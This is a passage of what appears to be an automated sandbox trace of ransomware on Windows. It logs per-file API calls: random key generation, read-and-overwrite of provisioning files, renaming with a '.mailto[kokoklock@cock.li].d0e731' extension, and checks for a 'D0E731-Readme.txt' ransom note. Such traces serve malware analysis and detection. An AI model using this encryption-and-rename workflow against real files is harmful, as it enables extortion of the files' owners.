Seed=0x2ce3fa9c) returned 0x75341b49 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x49e38f6b [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x3ad29c09 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x931ef55 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x7e42e1b6 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x1f8b7f5e [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x5aeffa5b [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x66cb300d [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x14010f0d [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0xc8e05905 [0085.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480228) returned 1 [0085.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4738) returned 1 [0085.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0085.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd920 [0085.481] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd920) returned 1 [0085.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.481] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.481] ReadFile (in: hFile=0x2f4, lpBuffer=0x55d8058, nNumberOfBytesToRead=0x1939, lpNumberOfBytesRead=0x2ce3fa90, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2ce3fa90*=0x1939, lpOverlapped=0x0) returned 1 [0085.482] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ce3fa58 | out: lpNewFilePointer=0x0) returned 1 [0085.482] WriteFile (in: hFile=0x2f4, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0x1939, lpNumberOfBytesWritten=0x2ce3fa8c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2ce3fa8c*=0x1939, lpOverlapped=0x0) returned 1 [0085.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd7b8 [0085.483] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd9c0 [0085.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd9c0) returned 1 [0085.483] WriteFile (in: hFile=0x2f4, lpBuffer=0x55dd7b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ce3fa88, lpOverlapped=0x0 | out: lpBuffer=0x55dd7b8*, lpNumberOfBytesWritten=0x2ce3fa88*=0x20, lpOverlapped=0x0) returned 1 [0085.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd7b8) returned 1 [0085.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0085.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.483] WriteFile (in: hFile=0x2f4, lpBuffer=0x55dd880*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ce3fab4, lpOverlapped=0x0 | out: lpBuffer=0x55dd880*, lpNumberOfBytesWritten=0x2ce3fab4*=0x8, lpOverlapped=0x0) returned 1 [0085.483] WriteFile (in: hFile=0x2f4, lpBuffer=0x2ce3facc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ce3fab4, lpOverlapped=0x0 | out: lpBuffer=0x2ce3facc*, lpNumberOfBytesWritten=0x2ce3fab4*=0x4, lpOverlapped=0x0) returned 1 [0085.483] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ce3fab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ce3fab4*=0x4, lpOverlapped=0x0) returned 1 [0085.483] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ce3fab4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ce3fab4*=0x6c, lpOverlapped=0x0) returned 1 [0085.483] WriteFile (in: hFile=0x2f4, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ce3fab4, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x2ce3fab4*=0x20, lpOverlapped=0x0) returned 1 [0085.483] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ce3fab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ce3fab4*=0x4, lpOverlapped=0x0) returned 1 [0085.483] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0085.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd858) returned 1 [0085.484] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dd880) returned 1 [0085.484] CloseHandle (hObject=0x2f4) returned 1 [0085.484] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.484] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" [0085.484] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.484] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.485] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.485] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.485] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0085.485] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0085.485] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.485] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0085.485] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34833b0) returned 1 [0085.485] RtlExitUserThread (Status=0x1) Thread: id = 1284 os_tid = 0x11f0 [0085.370] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml")) returned 0x20 [0085.371] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.371] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0085.371] GetFileSizeEx (in: hFile=0x6ec, lpFileSize=0x2cebfc70 | out: lpFileSize=0x2cebfc70*=3683) returned 1 [0085.371] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0xe5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.371] ReadFile (in: hFile=0x6ec, lpBuffer=0x2cebfc44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cebfc40, lpOverlapped=0x0 | out: lpBuffer=0x2cebfc44*, lpNumberOfBytesRead=0x2cebfc40*=0x4, lpOverlapped=0x0) returned 1 [0085.452] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.453] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4738 [0085.453] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0085.453] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 [0085.453] NtQuerySystemTime (in: CurrentTime=0x2cebfc1c | out: CurrentTime=0x2cebfc1c*=132121176433518746) returned 0x0 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xcaa61130 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xfef0909c [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x12a0c7dd [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x3aacbece [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xf6a416fe [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x57dd57f5 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x49eff341 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x38726bca [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x1a810d6b [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xa3c7ec0 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x97637eb2 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x52d79c62 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x4b0b0dd3 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xaf679673 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x15b5963e [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x7625b63c [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x5d839d60 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xb1ff898a [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xbce758dd [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xc756d923 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x34a15219 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x9ab412dd [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xf6a15d13 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xd73a5a0c [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x3dd88026 [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x6506506a [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xceda16ce [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x8889a69f [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x28f3467a [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x9443eada [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0x4273b13d [0085.453] RtlRandom (in: Seed=0x2cebfc28 | out: Seed=0x2cebfc28) returned 0xa53101f3 [0085.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e4738) returned 1 [0085.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd088 [0085.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0085.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dde20 [0085.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dde20) returned 1 [0085.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.464] ReadFile (in: hFile=0x6ec, lpBuffer=0x55d8058, nNumberOfBytesToRead=0xe63, lpNumberOfBytesRead=0x2cebfc1c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesRead=0x2cebfc1c*=0xe63, lpOverlapped=0x0) returned 1 [0085.464] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cebfbe4 | out: lpNewFilePointer=0x0) returned 1 [0085.464] WriteFile (in: hFile=0x6ec, lpBuffer=0x34b8390*, nNumberOfBytesToWrite=0xe63, lpNumberOfBytesWritten=0x2cebfc18, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesWritten=0x2cebfc18*=0xe63, lpOverlapped=0x0) returned 1 [0085.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddcb8 [0085.464] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddec0 [0085.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddec0) returned 1 [0085.464] WriteFile (in: hFile=0x6ec, lpBuffer=0x55ddcb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cebfc14, lpOverlapped=0x0 | out: lpBuffer=0x55ddcb8*, lpNumberOfBytesWritten=0x2cebfc14*=0x20, lpOverlapped=0x0) returned 1 [0085.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddcb8) returned 1 [0085.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0085.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd088) returned 1 [0085.464] WriteFile (in: hFile=0x6ec, lpBuffer=0x55ddb00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cebfc40, lpOverlapped=0x0 | out: lpBuffer=0x55ddb00*, lpNumberOfBytesWritten=0x2cebfc40*=0x8, lpOverlapped=0x0) returned 1 [0085.465] WriteFile (in: hFile=0x6ec, lpBuffer=0x2cebfc58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cebfc40, lpOverlapped=0x0 | out: lpBuffer=0x2cebfc58*, lpNumberOfBytesWritten=0x2cebfc40*=0x4, lpOverlapped=0x0) returned 1 [0085.465] WriteFile (in: hFile=0x6ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cebfc40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cebfc40*=0x4, lpOverlapped=0x0) returned 1 [0085.465] WriteFile (in: hFile=0x6ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cebfc40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cebfc40*=0x6c, lpOverlapped=0x0) returned 1 [0085.465] WriteFile (in: hFile=0x6ec, lpBuffer=0x3478e68*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cebfc40, lpOverlapped=0x0 | out: lpBuffer=0x3478e68*, lpNumberOfBytesWritten=0x2cebfc40*=0x20, lpOverlapped=0x0) returned 1 [0085.465] WriteFile (in: hFile=0x6ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cebfc40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cebfc40*=0x4, lpOverlapped=0x0) returned 1 [0085.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e68) returned 1 [0085.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddad8) returned 1 [0085.465] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddb00) returned 1 [0085.465] CloseHandle (hObject=0x6ec) returned 1 [0085.465] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33e8a98 [0085.465] wcscpy (in: _Dest=0x33e8a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" [0085.465] wcscat (in: _Dest=0x33e8a98, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.465] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\4__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.466] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.467] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8a98) returned 1 [0085.467] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\4__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.467] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0085.467] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0085.467] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.467] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0085.468] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3483c68) returned 1 [0085.468] RtlExitUserThread (Status=0x1) Thread: id = 1285 os_tid = 0x11f4 [0085.372] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml")) returned 0x20 [0085.373] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.373] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\5__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\5__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x944 [0085.373] GetFileSizeEx (in: hFile=0x944, lpFileSize=0x2cf3fbc0 | out: lpFileSize=0x2cf3fbc0*=2082) returned 1 [0085.373] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x81e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.373] ReadFile (in: hFile=0x944, lpBuffer=0x2cf3fb94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cf3fb90, lpOverlapped=0x0 | out: lpBuffer=0x2cf3fb94*, lpNumberOfBytesRead=0x2cf3fb90*=0x4, lpOverlapped=0x0) returned 1 [0085.437] SetFilePointerEx (in: hFile=0x944, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4738 [0085.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0085.437] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.437] NtQuerySystemTime (in: CurrentTime=0x2cf3fb6c | out: CurrentTime=0x2cf3fb6c*=132121176433360831) returned 0x0 [0085.437] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x93adf15a [0085.437] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xe60eae62 [0085.437] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xba5c1ae [0085.437] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x586965a6 [0085.437] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xb9c86136 [0085.437] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xe39ff9c3 [0085.437] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0xbca80cb2 [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 0x2c4f3fa [0085.438] RtlRandom (in: Seed=0x2cf3fb78 | out: Seed=0x2cf3fb78) returned 